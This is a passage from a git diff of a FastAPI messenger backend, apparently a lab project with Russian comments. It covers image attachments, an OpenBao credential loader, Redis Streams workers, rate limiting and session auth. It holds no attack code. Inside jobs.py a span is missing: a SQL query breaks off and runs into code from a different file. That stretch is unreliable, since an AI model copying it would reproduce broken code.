TimeoutError: + raise ApiProblem(503, 'unavailable', 'Время загрузки истекло') from None + except ClientDisconnect: + raise ApiProblem(400, 'invalid_request', 'Передача файла прервана') from None + + +def download(row, variant='original'): + if variant=='original':key,mime,size=row['object_key'],row['content_type'],row['size_bytes'] + else: + info=next((v for v in row['variants'] if v['name']==variant),None) + if info is None:raise ApiProblem(404,'not_found','Вариант отсутствует') + key,mime,size=row['variant_keys'][variant],info['content_type'],info['size_bytes'] + result = storage.get(key) + body = result['Body'] + if result['ContentLength'] != size: + body.close() + raise ApiProblem(503, 'unavailable', 'Оригинал временно недоступен') + + def chunks(): + try: + while data := body.read(64 * 1024): + yield data + finally: + body.close() + return StreamingResponse(chunks(), media_type=mime, + headers={'Content-Length': str(size)}) diff --git a/src/auth_budget.py b/src/auth_budget.py new file mode 100644 index 0000000..ba3312c --- /dev/null +++ b/src/auth_budget.py @@ -0,0 +1,38 @@ +"""Use the DB clock and a transactionally serialized budget shared by the replicas.""" +from contextlib import contextmanager +from threading import BoundedSemaphore + +from src.errors import ApiProblem + +WINDOW = 10 +LIMIT = {"login": 24, "register": 24} +slots = BoundedSemaphore(2) + + +def limit(pool, action): + with pool.connection() as db: + row = db.execute( + """INSERT INTO auth_budgets (action, window_start, used) + VALUES (%s, clock_timestamp(), 1) + ON CONFLICT (action) DO UPDATE SET + used = CASE WHEN auth_budgets.window_start <= clock_timestamp() - make_interval(secs => %s) + THEN 1 ELSE auth_budgets.used + 1 END, + window_start = CASE WHEN auth_budgets.window_start <= clock_timestamp() - make_interval(secs => %s) + THEN clock_timestamp() ELSE auth_budgets.window_start END + WHERE auth_budgets.used < %s OR + auth_budgets.window_start <= clock_timestamp() - make_interval(secs => %s) + RETURNING used""", + (action, WINDOW, WINDOW, LIMIT[action], WINDOW), + ).fetchone() + if row is None: + raise ApiProblem(429, "rate_limited", "Лимит запросов аутентификации", retry_after=WINDOW) + + +@contextmanager +def hashing(): + if not slots.acquire(blocking=False): + raise ApiProblem(429, "rate_limited", "Заняты слоты вычисления пароля", retry_after=1) + try: + yield + finally: + slots.release() diff --git a/src/bao.py b/src/bao.py new file mode 100644 index 0000000..0707248 --- /dev/null +++ b/src/bao.py @@ -0,0 +1,96 @@ +"""Service certificate login, short-lived token renewal and a bounded offline window.""" +import json +import os +import ssl +import threading +import time +import urllib.request + +from src.errors import ApiProblem + +ROOT = "/pki/" +ROLE = os.getenv("BAO_ROLE") +ADDRESS = os.getenv("BAO_ADDR", "https://openbao:8200") +deadline = 0.0 +OFFLINE_WINDOW = 30 + + +class NoRedirect(urllib.request.HTTPRedirectHandler): + def redirect_request(self, req, fp, code, msg, headers, newurl): + return None + + +def client(cert=ROOT + "service.crt", key=ROOT + "service.key", ca=ROOT + "ca.crt"): + context = ssl.create_default_context(cafile=ca) + context.minimum_version = ssl.TLSVersion.TLSv1_2 + context.load_cert_chain(cert, key) + return urllib.request.build_opener( + urllib.request.ProxyHandler({}), urllib.request.HTTPSHandler(context=context), NoRedirect(), + ) + + +def request(opener, address, path, body=None, token=None, method=None, timeout=3): + headers = {"Content-Type": "application/json"} + if token: + headers["X-Vault-Token"] = token + req = urllib.request.Request( + address + "/v1/" + path, data=json.dumps(body).encode() if body is not None else None, + headers=headers, method=method, + ) + with opener.open(req, timeout=timeout) as response: + raw = response.read() + return json.loads(raw) if raw else {} + + +def authenticate(opener): + auth = request(opener, ADDRESS, "auth/cert/login", {"name": ROLE})["auth"] + values = request(opener, ADDRESS, "messenger/data/" + ROLE, + token=auth["client_token"])["data"]["data"] + return auth, values + + +def maintain(opener, auth, initial): + global deadline + while True: + time.sleep(max(1, min(10, auth["lease_duration"] / 3))) + try: + if time.monotonic() < deadline: + try: + auth = request(opener, ADDRESS, "auth/token/renew-self", {"increment": f"{OFFLINE_WINDOW}s"}, + token=auth["client_token"])["auth"] + except (OSError, ValueError, KeyError): + auth, _ = authenticate(opener) + else: + auth, _ = authenticate(opener) + token = auth["client_token"] + values = request(opener, ADDRESS, "messenger/data/" + ROLE, token=token)["data"]["data"] + if values == initial: + deadline = time.monotonic() + min(OFFLINE_WINDOW, auth["lease_duration"]) + except (OSError, ValueError, KeyError): + # Existing work may continue up to the previously granted local deadline. + pass + + +def load(): + global deadline + opener = client() + for _ in range(30): + try: + auth, values = authenticate(opener) + break + except (OSError, ValueError, KeyError): + time.sleep(1) + else: + raise SystemExit("OpenBao service login or scoped read unavailable") + os.environ.update(values) + deadline = time.monotonic() + min(OFFLINE_WINDOW, auth["lease_duration"]) + threading.Thread(target=maintain, args=(opener, auth, values), daemon=True).start() + + +def available(): + return not ROLE or time.monotonic() < deadline + + +def require(): + if not available(): + raise ApiProblem(503, "unavailable", "Временно недоступны рабочие credentials") diff --git a/src/broker.py b/src/broker.py new file mode 100644 index 0000000..676763f --- /dev/null +++ b/src/broker.py @@ -0,0 +1,43 @@ +"""Redis Streams: отдельный persistent broker, consumer group и явный ack.""" +import json +import redis +from src.config import BROKER_URL, JOB_LEASE + +STREAM = 'attachments.jobs' +GROUP = 'image-workers' + + +def connect(): + return redis.Redis.from_url(BROKER_URL, decode_responses=True, socket_connect_timeout=2, + socket_timeout=3, health_check_interval=10, + ssl_ca_certs='/pki/ca.crt', ssl_check_hostname=True, + ssl_certfile='/pki/service.crt', ssl_keyfile='/pki/service.key') + + +def ensure_group(client): + try: + client.xgroup_create(STREAM, GROUP, id='0-0', mkstream=True) + except redis.ResponseError as exc: + if 'BUSYGROUP' not in str(exc): + raise + + +def publish(client, payload): + from src.telemetry import span, carrier, SpanKind, propagate + context=propagate.extract({k:v for k,v in payload.items() if k in ('traceparent','tracestate')}) + with span('attachments publish',SpanKind.PRODUCER,context=context,messaging_system='redis'): + payload={**payload,**carrier()} + return client.xadd(STREAM, {'job': json.dumps(payload, separators=(',', ':'))}) + + +def receive(client, consumer): + # Сначала забираем брошенные pending, затем новую работу; prefetch ровно 1. + claimed = client.xautoclaim(STREAM, GROUP, consumer, JOB_LEASE*1000, '0-0', count=1) + if claimed[1]: + return claimed[1][0] + rows = client.xreadgroup(GROUP, consumer, {STREAM: '>'}, count=1, block=500) + return rows[0][1][0] if rows else None + + +def acknowledge(client, identifier): + client.xack(STREAM, GROUP, identifier) diff --git a/src/cleanup.py b/src/cleanup.py new file mode 100644 index 0000000..58301a9 --- /dev/null +++ b/src/cleanup.py @@ -0,0 +1,59 @@ +"""Удаляет только безопасно завершённый staging или старые бесхозные исходники.""" +import argparse +from datetime import datetime,timezone +import json +import time +import uuid +from src.config import STAGING_RETENTION +from src.jobs import connection,event +from src.storage import ObjectStore,lock_attachment,unlock_attachment + + +def run(retention=STAGING_RETENTION,apply=False): + storage=ObjectStore();actions=[];now=datetime.now(timezone.utc) + try: + objects=list(storage.objects('staging/')) + with connection() as db: + for obj in objects: + parts=obj['Key'].split('/') + try:attachment_id=uuid.UUID(parts[1]);job_id=uuid.UUID(parts[2]) + except (ValueError,IndexError):continue + if len(parts)!=3:continue + if not lock_attachment(db,attachment_id,wait=False):db.commit();continue + db.commit() + try: + job=db.execute('SELECT * FROM jobs WHERE id=%s',(job_id,)).fetchone() + current=storage.head(obj['Key']) + if current is None:continue + object_old=(now-current['LastModified']).total_seconds()>=retention + safe=False + if not job:safe=object_old + elif job['status']=='ready':safe=True + elif job['status'] in {'failed','superseded'}: + safe=object_old and (now-job['updated_at']).total_seconds()>=retention + if not safe:continue + actions.append(dict(key=obj['Key'],reason='committed_ready' if job and job['status']=='ready' else 'retention',applied=apply)) + if apply: + storage.delete(obj['Key']) + if job: + db.execute('UPDATE jobs SET staged_deleted_at=clock_timestamp() WHERE id=%s',(job_id,)) + event(db,job_id,'staging_cleaned');db.commit() + finally:db.rollback();unlock_attachment(db,attachment_id);db.commit() + finally:storage.client.close() + return dict(mode='apply' if apply else 'dry-run',retention_seconds=retention,objects_scanned=len(objects),actions=actions) + + +def main(): + p=argparse.ArgumentParser();p.add_argument('--apply',action='store_true');p.add_argument('--loop',action='store_true') + p.add_argument('--retention',type=int,default=STAGING_RETENTION);args=p.parse_args() + if args.retention<1:p.error('Positive retention required') + while True: + try:print(json.dumps(run(args.retention,args.apply)),flush=True) + except Exception as exc: + print(json.dumps(dict(status='FAILED',reason=type(exc).__name__)),flush=True) + if not args.loop:raise SystemExit(1) + if not args.loop:break + time.sleep(60) + + +if __name__=='__main__':main() diff --git a/src/config.py b/src/config.py new file mode 100644 index 0000000..5c269c4 --- /dev/null +++ b/src/config.py @@ -0,0 +1,31 @@ +"""Настройки из окружения или Docker secrets; секреты не печатаем.""" +import os +from pathlib import Path + + +def setting(name, default=None): + file = os.getenv(name + '_FILE') + return Path(file).read_text().strip() if file else os.getenv(name, default) + + +DATABASE_URL = setting('DATABASE_URL') +SESSION_TTL = int(os.getenv('SESSION_TTL_SECONDS', '3600')) +POOL_MAX = int(os.getenv('DB_POOL_MAX', '8')) +S3_ENDPOINT = setting('S3_ENDPOINT', 'https://s3:9000') +S3_REGION = setting('S3_REGION', 'us-east-1') +S3_BUCKET = setting('S3_BUCKET', 'messenger-attachments') +S3_ACCESS_KEY = setting('S3_ACCESS_KEY_ID') +S3_SECRET_KEY = setting('S3_SECRET_ACCESS_KEY') +MAX_UPLOAD_BYTES = min(int(os.getenv('MAX_UPLOAD_BYTES', '10485760')), 10485760) +MAX_IMAGE_PIXELS = min(int(os.getenv('MAX_IMAGE_PIXELS', '40000000')), 40000000) +UPLOAD_TIMEOUT = int(os.getenv('UPLOAD_TIMEOUT_SECONDS', '45')) + +BROKER_URL = setting('BROKER_URL', 'rediss://broker:6380/0') +WORKER_CONCURRENCY = int(os.getenv('WORKER_CONCURRENCY', '1')) +JOB_MAX_ATTEMPTS = int(os.getenv('JOB_MAX_ATTEMPTS', '5')) +JOB_TIMEOUT = int(os.getenv('JOB_TIMEOUT_SECONDS', '30')) +JOB_LEASE = int(os.getenv('JOB_LEASE_SECONDS', '15')) +STAGING_RETENTION = int(os.getenv('STAGING_RETENTION_SECONDS', '86400')) +MAX_PENDING_JOBS = int(os.getenv('MAX_PENDING_JOBS', '1000')) +ALLOW_FAULTS = os.getenv('ALLOW_FAULT_INJECTION', '0') == '1' +WORKER_MEMORY_BYTES = int(os.getenv('WORKER_IMAGE_MEMORY_MIB', '512')) * 1024 * 1024 diff --git a/src/dispatcher.py b/src/dispatcher.py new file mode 100644 index 0000000..f9ebbd0 --- /dev/null +++ b/src/dispatcher.py @@ -0,0 +1,41 @@ +"""Публикует transactional outbox и возвращает брошенные processing в очередь.""" +import json +import time +from src.broker import connect, ensure_group, publish +from src.jobs import connection, event, payload, recover_leases +from src.faults import checkpoint + + +def dispatch_once(client): + with connection() as db: + row = db.execute("SELECT o.id AS outbox_id,o.attempt,j.* FROM job_outbox o JOIN jobs j ON j.id=o.job_id " + 'JOIN attachments a ON a.current_job_id=j.id ' + "WHERE o.published_at IS NULL AND j.status='queued' AND j.available_at<=clock_timestamp() " + 'AND o.attempt=j.attempts+1 ORDER BY o.id FOR UPDATE OF o SKIP LOCKED LIMIT 1').fetchone() + if not row:return False + checkpoint(row['id'],'before_publish') + stream_id=publish(client,payload(row,row['attempt'])) + checkpoint(row['id'],'after_publish') + db.execute('UPDATE job_outbox SET published_at=clock_timestamp(),stream_id=%s WHERE id=%s', + (stream_id,row['outbox_id'])) + event(db,row['id'],'published',attempt=row['attempt'],stream_id=stream_id) + # XADD ответил до фиксации published_at. Crash даёт повтор, а не потерю. + return True + + +def main(): + client=connect();last_recovery=0 + from src import bao, telemetry as tel + while True: + try: + bao.require() + ensure_group(client) + if time.monotonic()-last_recovery>=1: + recover_leases();tel.observe_queue();last_recovery=time.monotonic() + if not dispatch_once(client):time.sleep(.2) + except Exception as exc: + print(json.dumps(dict(role='dispatcher',status='retry',reason=type(exc).__name__)),flush=True) + time.sleep(1) + + +if __name__=='__main__':main() diff --git a/src/errors.py b/src/errors.py new file mode 100644 index 0000000..8736763 --- /dev/null +++ b/src/errors.py @@ -0,0 +1,7 @@ +class ApiProblem(Exception): + def __init__(self, status, code, message, challenge=None, retry_after=None): + self.status = status + self.code = code + self.message = message + self.challenge = challenge + self.retry_after = retry_after diff --git a/src/faults.py b/src/faults.py new file mode 100644 index 0000000..ddb8b44 --- /dev/null +++ b/src/faults.py @@ -0,0 +1,19 @@ +"""Одноразовый crash в заданном окне; выключен в обычном стенде.""" +import os +import psycopg +from src.config import ALLOW_FAULTS, DATABASE_URL + +PHASES = {'before_publish', 'after_publish', 'before_effect', 'after_original', + 'after_effects', 'after_commit'} + + +def checkpoint(job_id, phase): + if not ALLOW_FAULTS: + return + with psycopg.connect(DATABASE_URL, connect_timeout=2) as db: + row = db.execute('UPDATE pipeline_faults SET fired_at=clock_timestamp() ' + 'WHERE job_id=%s AND phase=%s AND fired_at IS NULL RETURNING job_id', + (job_id, phase)).fetchone() + if row: + # Имитирует внезапную смерть процесса: finally/ack намеренно не выполняются. + os._exit(91) diff --git a/src/image_pipeline.py b/src/image_pipeline.py new file mode 100644 index 0000000..e1f4273 --- /dev/null +++ b/src/image_pipeline.py @@ -0,0 +1,72 @@ +"""Изолированная обработка: stdin/сеть не нужны, только файлы одного задания.""" +import argparse +import hashlib +import json +from pathlib import Path +import resource +import warnings + +from PIL import Image, ImageFile, ImageOps, PngImagePlugin +from src.config import MAX_IMAGE_PIXELS, WORKER_MEMORY_BYTES + +Image.MAX_IMAGE_PIXELS=MAX_IMAGE_PIXELS +ImageFile.LOAD_TRUNCATED_IMAGES=False +PngImagePlugin.MAX_TEXT_CHUNK=1024*1024 +PngImagePlugin.MAX_TEXT_MEMORY=2*1024*1024 + + +def fit_size(width,height,limit): + if max(width,height)<=limit:return width,height + if width>=height:return limit,max(1,height*limit//width) + return max(1,width*limit//height),limit + + +def transform(source,destination,version): + destination=Path(destination) + with warnings.catch_warnings(): + warnings.simplefilter('error',Image.DecompressionBombWarning) + image=Image.open(source,formats=['PNG','JPEG']) + if image.width*image.height>MAX_IMAGE_PIXELS: + image.close();raise ValueError('pixel limit') + image.load() + ImageOps.exif_transpose(image,in_place=True) + if image.mode=='RGBA' or 'transparency' in image.info or image.mode in {'LA','P'}: + rgba=image if image.mode=='RGBA' else image.convert('RGBA') + if rgba is not image:image.close() + background=Image.new('RGB',rgba.size,'white');alpha=rgba.getchannel('A') + background.paste(rgba,mask=alpha);alpha.close();rgba.close();image=background + elif image.mode!='RGB': + converted=image.convert('RGB');image.close();image=converted + # Новый RGB объект не переносит EXIF/ICC/XMP в варианты. + image.info.clear() + quality=82 if version==1 else 86 + outputs=[] + for name,limit,fmt,mime in [('thumbnail',256,'JPEG','image/jpeg'),('crop',128,'JPEG','image/jpeg'), + ('optimized',1280,'WEBP','image/webp')]: + if name=='crop': + side=min(image.size);left=(image.width-side)//2;top=(image.height-side)//2 + square=image.crop((left,top,left+side,top+side)) + result=square.resize((128,128),Image.Resampling.LANCZOS);square.close() + else:result=image.resize(fit_size(*image.size,limit),Image.Resampling.LANCZOS) + file=destination/(name+('.jpg' if fmt=='JPEG' else '.webp')) + result.save(file,format=fmt,quality=quality,**({'method':4} if fmt=='WEBP' else {'optimize':True})) + data=file.read_bytes() + outputs.append(dict(name=name,content_type=mime,size_bytes=len(data),width=result.width,height=result.height, + sha256=hashlib.sha256(data).hexdigest(),file=file.name)) + result.close() + image.close() + return outputs + + +def main(): + p=argparse.ArgumentParser();p.add_argument('source');p.add_argument('destination');p.add_argument('version',type=int) + args=p.parse_args() + resource.setrlimit(resource.RLIMIT_AS,(WORKER_MEMORY_BYTES,WORKER_MEMORY_BYTES)) + try: + values=transform(args.source,args.destination,args.version) + Path(args.destination,'variants.json').write_text(json.dumps(values)) + except MemoryError:raise SystemExit(12) + except Exception:raise SystemExit(10) + + +if __name__=='__main__':main() diff --git a/src/jobs.py b/src/jobs.py new file mode 100644 index 0000000..540f1fd --- /dev/null +++ b/src/jobs.py @@ -0,0 +1,194 @@ +"""Состояния задания, outbox и явные команды оператора. Без публичного admin API.""" +import argparse +from contextlib import contextmanager +import json +import random +import uuid + +import psycopg +from psycopg.rows import dict_row +from psycopg.types.json import Jsonb +from src.config import DATABASE_URL, JOB_MAX_ATTEMPTS +from src.storage import lock_attachment, unlock_attachment + + +@contextmanager +def connection(): + from src.bao import require + require() + with psycopg.connect(DATABASE_URL, row_factory=dict_row, connect_timeout=2, + options='-c statement_timeout=10000 -c lock_timeout=2000') as db: + from src.telemetry import DBProxy + yield DBProxy(db) + + +def event(db, job_id, name, **details): + db.execute('INSERT INTO job_events(job_id,event,details) VALUES (%s,%s,%s)', + (job_id, name, Jsonb(details))) + + +def enqueue(db, job): + from src.telemetry import carrier + ctx=carrier() + db.execute('UPDATE jobs SET traceparent=coalesce(traceparent,%s),tracestate=coalesce(tracestate,%s) WHERE id=%s', + (ctx.get('traceparent'),ctx.get('tracestate'),job['id'])) + db.execute('INSERT INTO job_outbox(job_id,attempt) VALUES (%s,%s) ON CONFLICT DO NOTHING', + (job['id'], job['attempts']+1)) + + +def payload(job, attempt): + return dict(schema_version=1, job_id=str(job['id']), type='attachment.process.v1', + attachment_id=str(job['attachment_id']), pipeline_version=job['pipeline_version'], + **{k:job[k] for k in ('traceparent','tracestate') if job.get(k)}, + attempt=attempt, created_at=job['created_at'].isoformat().replace('+00:00', 'Z')) + + +def retry_or_fail(db, job, code, permanent=False): + exhausted = job['attempts']-job['budget_start'] >= JOB_MAX_ATTEMPTS + if permanent or exhausted: + final_code = code if permanent else 'retry_exhausted' + db.execute("UPDATE jobs SET status='failed',error_code=%s,lease_token=NULL,lease_until=NULL," + "updated_at=clock_timestamp() WHERE id=%s", (final_code, job['id'])) + db.execute("UPDATE attachments SET status='failed',error_code=%s,updated_at=clock_timestamp() " + 'WHERE current_job_id=%s', (final_code, job['id'])) + event(db, job['id'], 'failed', code=final_code, attempt=job['attempts']) + else: + # Ограниченный exponential backoff + jitter, максимум 10 секунд. + delay = min(10, 2**min(job['attempts']-1, 4)) + random.uniform(0, .5) + db.execute("UPDATE jobs SET status='queued',error_code=%s,lease_token=NULL,lease_until=NULL," + "available_at=clock_timestamp()+%s*interval '1 second',updated_at=clock_timestamp() WHERE id=%s", + (code, delay, job['id'])) + db.execute("UPDATE attachments SET status='queued',error_code=NULL,updated_at=clock_timestamp() " + 'WHERE current_job_id=%s', (job['id'],)) + enqueue(db, job) + event(db, job['id'], 'retry_scheduled', code=code, attempt=job['attempts'], delay_seconds=round(delay, 3)) + + +def recover_leases(): + recovered = [] + with connection() as db: + rows = db.execute("SELECT id,attachment_id FROM jobs WHERE status='processing' AND lease_until datetime: + return datetime.now(timezone.utc) + + +def as_json(value: BaseModel) -> dict: + return value.model_dump(mode="json") + + +class StrictModel(BaseModel): + model_config = ConfigDict(extra="forbid") + + +class User(StrictModel): + id: uuid.UUID + username: str + display_name: str + created_at: datetime + + +class CreateUser(StrictModel): + username: str = Field(pattern=r"^[a-z0-9_]{3,32}$") + display_name: str = Field(min_length=1, max_length=100) + password: str = Field(min_length=12, max_length=128) + + @field_validator("password") + @classmethod + def password_has_visible_characters(cls, value: str) -> str: + if not value.strip(): + raise ValueError("password must not contain only whitespace") + return value + + @field_validator("display_name") + @classmethod + def display_name_has_visible_characters(cls, value: str) -> str: + if not value.strip(): + raise ValueError("display_name must not contain only whitespace") + return value + + +class Chat(StrictModel): + id: uuid.UUID + title: str + member_ids: list[uuid.UUID] + created_at: datetime + + +class CreateChat(StrictModel): + title: str = Field(min_length=1, max_length=100) + member_ids: list[uuid.UUID] = Field(min_length=1, max_length=100) + + @field_validator("title") + @classmethod + def title_has_visible_characters(cls, value: str) -> str: + if not value.strip(): + raise ValueError("title must not contain only whitespace") + return value + + @field_validator("member_ids") + @classmethod + def member_ids_are_unique(cls, value: list[uuid.UUID]) -> list[uuid.UUID]: + if len(value) != len(set(value)): + raise ValueError("member_ids must be unique") + return value + + +class Message(StrictModel): + id: uuid.UUID + chat_id: uuid.UUID + sender_id: uuid.UUID + text: str + created_at: datetime + attachment_ids: list[uuid.UUID] = Field(default_factory=list) + + +class CreateMessage(StrictModel): + text: str = Field(max_length=4000) + attachment_ids: list[uuid.UUID] = Field(default_factory=list, max_length=10) + + @model_validator(mode='after') + def valid_message(self): + if not self.text.strip() and not self.attachment_ids: + raise ValueError('Нужен текст или вложение') + if len(self.attachment_ids) != len(set(self.attachment_ids)): + raise ValueError('Повторяющиеся attachment_ids') + return self + + +class Store: + """Сессии, метаданные и общий бюджет аутентификации в PostgreSQL.""" + + def __init__(self) -> None: + self.pool = ConnectionPool( + DATABASE_URL, min_size=1, max_size=POOL_MAX, timeout=2, open=False, + kwargs={"row_factory": dict_row, "connect_timeout": 2, + "options": "-c statement_timeout=3000 -c lock_timeout=2000 -c timezone=UTC"}, + ) + def start(self) -> None: + self.pool.open() + self.pool.wait(timeout=10) + + def close(self) -> None: + self.pool.close() + + def chat(self, db, chat_id: uuid.UUID) -> Chat | None: + row = db.execute("SELECT * FROM chats WHERE id=%s", (chat_id,)).fetchone() + if row is None: + return None + members = db.execute("SELECT user_id FROM chat_members WHERE chat_id=%s ORDER BY user_id", + (chat_id,)).fetchall() + return Chat(**row, member_ids=[member["user_id"] for member in members]) + + def chat_messages(self, db, chat_id: uuid.UUID, limit: int, after) -> list[Message]: + # В lab1 здесь были общий список/список чата и bisect_right. + # Теперь границу ищет B-tree PostgreSQL (chat_id, created_at, id). + query = ("SELECT m.*, COALESCE((SELECT array_agg(a.attachment_id ORDER BY a.position) " + "FROM message_attachments a WHERE a.message_id=m.id),'{}'::uuid[]) AS attachment_ids " + "FROM messages m WHERE chat_id=%s") + params = [chat_id] + if after is not None: + query += " AND (created_at,id)>(%s,%s)" + params.extend(after) + rows = db.execute(query + " ORDER BY created_at,id LIMIT %s", params + [limit + 1]).fetchall() + return [Message(**row) for row in rows] + + +INSTANCE_ID = os.getenv("INSTANCE_ID") or uuid.uuid4().hex +store = Store() +from src import telemetry as tel +tel.observe_pool(store.pool) +passwords = PasswordHasher(time_cost=2, memory_cost=19456, parallelism=1) +dummy_hash = passwords.hash(secrets.token_urlsafe(32)) + + +@asynccontextmanager +async def lifespan(app): + store.start() + yield + store.close() + + +app = FastAPI(title="MTUCI PostgreSQL messenger", version="5.0.0", lifespan=lifespan, + docs_url=None, redoc_url=None, openapi_url=None) + + +def request_id(request: Request) -> str: + return request.state.request_id + + +def error_response(request: Request, status: int, code: str, message: str, challenge: str | None = None) -> JSONResponse: + rid = getattr(request.state, "request_id", str(uuid.uuid4())) + headers = {"X-Request-Id": rid, "X-Instance-Id": INSTANCE_ID} + if challenge: + headers["WWW-Authenticate"] = challenge + return JSONResponse( + status_code=status, + content={"error": {"code": code, "message": message, "request_id": rid}}, + headers=headers, + ) + + +@app.middleware("http") +async def request_context(request: Request, call_next): + request.state.request_id = str(uuid.uuid4()) + started = time.perf_counter() + status = 500 + try: + # Без токена отказываем ДО обращения к БД и проверки JSON. + if request.url.path.startswith("/api/v1/") and request.url.path not in { + "/api/v1/users", "/api/v1/auth/sessions" + }: + scheme, _, token = request.headers.get("authorization", "").partition(" ") + if scheme.lower() != "bearer" or not token or len(token) > 256: + status = 401 + return error_response(request, 401, "unauthorized", "Требуется Bearer", + 'Bearer realm="messenger"') + if request.url.path != "/health/live" and not bao.available(): + status = 503 + return error_response(request, 503, "unavailable", "Временно недоступны рабочие credentials") + json_endpoints = { + "/api/v1/users", + "/api/v1/chats", + } + requires_json = request.method == "POST" and ( + request.url.path in json_endpoints + or re.fullmatch(r"/api/v1/chats/[^/]+/messages", request.url.path) is not None + ) + media_type = request.headers.get("content-type", "").split(";", 1)[0].strip().lower() + if requires_json and media_type != "application/json": + status = 415 + return error_response( + request, + 415, + "unsupported_media_type", + "Требуется Content-Type: application/json", + ) + if requires_json: + # Ограниченный JSON; после body() Starlette повторно отдаёт его маршруту. + raw = bytearray() + async for chunk in request.stream(): + if len(raw) + len(chunk) > 65536: + status = 413 + return error_response(request, 413, "payload_too_large", "Запрос слишком большой") + raw.extend(chunk) + request._body = bytes(raw) + response = await call_next(request) + status = response.status_code + response.headers["X-Request-Id"] = request.state.request_id + response.headers["X-Instance-Id"] = INSTANCE_ID + return response + finally: + pass # Safe structured logging is emitted by outer telemetry middleware. + + +@app.exception_handler(ApiProblem) +async def api_problem_handler(request: Request, exc: ApiProblem): + response = error_response(request, exc.status, exc.code, exc.message, exc.challenge) + if exc.retry_after is not None: + response.headers["Retry-After"] = str(exc.retry_after) + return response + + +@app.exception_handler(RequestValidationError) +async def validation_handler(request: Request, exc: RequestValidationError): + return error_response(request, 400, "invalid_request", "Запрос не соответствует контракту") + + +@app.exception_handler(Exception) +async def unexpected_error_handler(request: Request, exc: Exception): + logger.error("unexpected_error request_id=%s", request_id(request)) + return error_response(request, 500, "internal_error", "Внутренняя ошибка сервера") + + +@app.exception_handler(psycopg.Error) +@app.exception_handler(PoolTimeout) +async def database_error_handler(request: Request, exc: Exception): + return error_response(request, 503, "unavailable", "Хранилище временно недоступно") + + +@app.exception_handler(BotoCoreError) +@app.exception_handler(ClientError) +async def object_store_error_handler(request: Request, exc: Exception): + return error_response(request, 503, 'unavailable', 'Объектное хранилище временно недоступно') + + +@app.exception_handler(HTTPException) +async def http_error_handler(request: Request, exc: HTTPException): + code = "not_found" if exc.status_code == 404 else "invalid_request" + return error_response(request, exc.status_code, code, "Неверный маршрут или метод") + + +def unauthorized(basic=False): + challenge = 'Basic realm="messenger", charset="UTF-8"' if basic else 'Bearer realm="messenger"' + raise ApiProblem(401, "unauthorized", "Нужна действительная идентификация", challenge) + + +def token_hash(token: str) -> str: + return hashlib.sha256(token.encode()).hexdigest() + + +def current_user(authorization: Annotated[str | None, Header()] = None) -> User: + scheme, _, token = (authorization or "").partition(" ") + if scheme.lower() != "bearer" or not token or len(token) > 256: + unauthorized() + with store.pool.connection() as db: + session = db.execute("SELECT user_id FROM sessions WHERE token_hash=%s AND expires_at>now()", + (token_hash(token),)).fetchone() + if session is None: + unauthorized() + row = db.execute("SELECT id,username,display_name,created_at FROM users WHERE id=%s", + (session["user_id"],)).fetchone() + return User(**row) + + + +def decode_cursor(cursor: str, expected_scope: str) -> tuple[datetime, uuid.UUID]: + try: + if not cursor or len(cursor) > 1024: + raise ValueError + padded = cursor + "=" * (-len(cursor) % 4) + payload = json.loads(base64.b64decode(padded.encode(), altchars=b"-_", validate=True).decode()) + if not isinstance(payload, dict) or set(payload) != {"scope", "created_at", "id"}: + raise ValueError + if payload["scope"] != expected_scope: + raise ValueError + if not isinstance(payload["created_at"], str) or not isinstance(payload["id"], str): + raise ValueError + created_at = datetime.fromisoformat(payload["created_at"].replace("Z", "+00:00")) + item_id = uuid.UUID(payload["id"]) + if created_at.tzinfo is None: + raise ValueError + return created_at, item_id + except (ValueError, TypeError, KeyError, json.JSONDecodeError, UnicodeError): + raise ApiProblem(400, "invalid_request", "Некорректный cursor") from None + + +def encode_cursor(scope: str, created_at: datetime, item_id: uuid.UUID) -> str: + payload = { + "scope": scope, + "created_at": created_at.isoformat().replace("+00:00", "Z"), + "id": str(item_id), + } + return base64.urlsafe_b64encode(json.dumps(payload, separators=(",", ":")).encode()).decode().rstrip("=") + + +def page(items: list, limit: int, scope: str) -> dict: + # SQL уже выбрал limit+1 строк после курсора; весь список не загружаем. + selected = items[:limit] + next_cursor = None + if len(items) > limit and selected: + last = selected[-1] + next_cursor = encode_cursor(scope, last.created_at, last.id) + return {"items": [as_json(item) for item in selected], "next_cursor": next_cursor} + + +def visible_chat(chat_id: uuid.UUID, user: User) -> Chat: + with store.pool.connection() as db: + member = db.execute("SELECT 1 FROM chat_members WHERE chat_id=%s AND user_id=%s", + (chat_id, user.id)).fetchone() + if member is None: + raise ApiProblem(404, "not_found", "Объект не найден") + return store.chat(db, chat_id) + + +def page_parameters(request: Request, scope: str, limit: int, cursor: str | None): + # Query(ge/le) сохранён из lab1, добавлена проверка дублей и формы limit. + if set(request.query_params) - {"limit", "cursor"} or any( + len(request.query_params.getlist(k)) > 1 for k in request.query_params + ): + raise ApiProblem(400, "invalid_request", "Некорректные параметры страницы") + if not re.fullmatch(r"[0-9]{1,3}", request.query_params.get("limit", "50")): + raise ApiProblem(400, "invalid_request", "Некорректный limit") + return decode_cursor(cursor, scope) if cursor is not None else None + + +@app.get("/health/live") +def liveness(): + return {"status": "ok"} + + +@app.get("/health/ready") +def readiness(): + with store.pool.connection() as db: + db.execute("SELECT 1") + attachments.storage.ready() + return {"status": "ok"} + + +@app.get("/internal/pool") +def pool_statistics(): + # Диагностика доступна только внутри Docker network: LB закрывает этот путь. + return store.pool.get_stats() + + +@app.get('/internal/memory') +def memory_statistics(): + result = {'process_peak_rss_bytes': resource.getrusage(resource.RUSAGE_SELF).ru_maxrss * 1024} + from pathlib import Path + for name in ['/sys/fs/cgroup/memory.peak', '/sys/fs/cgroup/memory/memory.max_usage_in_bytes']: + path = Path(name) + if path.is_file(): + result['container_peak_bytes'] = int(path.read_text().strip()) + result['container_peak_source'] = name + break + return result + + +@app.post("/api/v1/users", status_code=201) +def register_user(body: CreateUser): + # Синхронные маршруты FastAPI исполняет в worker thread, не в event loop. + auth_budget.limit(store.pool, "register") + with auth_budget.hashing(): + hashed = passwords.hash(body.password) + try: + with store.pool.connection() as db: + row = db.execute( + "INSERT INTO users(id,username,display_name,password_hash) VALUES (%s,%s,%s,%s) " + "RETURNING id,username,display_name,created_at", + (uuid.uuid4(), body.username, body.display_name, hashed), + ).fetchone() + except psycopg.errors.UniqueViolation: + raise ApiProblem(409, "conflict", "Username уже занят") from None + return as_json(User(**row)) + + +@app.post("/api/v1/auth/sessions", status_code=201) +def create_session(request: Request, authorization: Annotated[str | None, Header()] = None): + auth_budget.limit(store.pool, "login") + if 